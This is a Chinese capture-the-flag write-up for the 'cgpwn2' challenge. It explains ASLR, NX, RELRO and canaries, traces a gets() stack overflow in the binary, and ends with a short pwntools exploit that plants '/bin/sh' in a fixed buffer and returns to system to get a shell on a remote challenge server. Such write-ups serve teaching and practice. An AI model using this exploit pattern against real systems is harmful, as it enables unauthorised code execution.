cgpwn2-writeup
一.查看开启的保护

32位程序,保护开启了RELRO和NX,没有Stack和PIE。
在windows上ASLR主要包括堆栈随机化、PEB(Process Envirorment Block Structure进程环境信息块)与TEB(线程环境快)、映像随机化,windows系统从vista开始ASLR才真正发挥作用。
在linux上ASLR主要包括栈地址随机化、LIBS/MMAP随机化、EXEC随机化、BRK随机化、VDSO随机化。在没有ASLR的情况下让程序跳转到一个已经存在的系统函数的漏洞利用方式被称为ret2libc。
在linux系统中ASLR被分为0,1,2三个等级,可以通过sudo bash -c "echo 2 > /proc/sys/kernel/randomize_va_space"设置。
0:没有随机化。即关闭ASLR。
1:保留的随机化。共享库、栈、mmap()分配的内存空间以及VDSO将被随机化。
2:完全的随机化。在1的基础上,通过 brk()分配的内存空间也将被随机化。
类似于DEP,数据执行保护。
PIE只有在系统开启ASLR和编译时开启-fpie-pie选项这两个条件同时满足时才会生效。
RELRO(RELocation Read-Only,只读重定位)让加载器将重定位表中加载时解析的符号标记为只读,这减少了GOT覆写攻击的面积。RELRO可以分为Partial RELRO(部分RELRO)和Full RELRO(完整RELRO)。开启Partial RELRO的话GOT表是可写的;开启FULL RELRO的话GOT表是只读的。
Stack Protector又名canary,stack cookie……等等,类似于VS编译器中的GS。
二.程序逻辑分析
IDA f5打开main函数

首先定义了三个流的缓冲区,然后调用了hello函数,然后打印“Thank you”,程序结束。


首先要求我们输入一个名字,通过fgets()函数,从键盘读取最多32个字符到name区域。
然后提示我们输入一些信息,通过gets()函数,没有字符数量的限制,从键盘读取到s区域。


name是bss段的一个大小为34的区域,s区域的起始位置是运行时距离栈帧x26个字节的地方,大小不限。
name地址固定,直接将/bin/sh写入即可。
然后hello函数结束。

存在一个call system。
三.分析和编写脚本
将/bin/sh写入name,作为system的参数,对s利用栈溢出,返回system的地址,exp如下:
from pwn import *
r = remote(‘220.249.52.133‘,37923)
target = 0x0804855A
binsh = 0x0804A080
payload = ‘a‘ * 0x26 + ‘bbbb‘ + p32(target) + p32(binsh)
a = r.recvuntil(‘e\n‘)
r.sendline(‘/bin/sh‘)
a = r.recvuntil(‘:\n‘)
r.sendline(payload)
r.interactive()
运行结果

原文:https://www.cnblogs.com/diaolan/p/13876645.html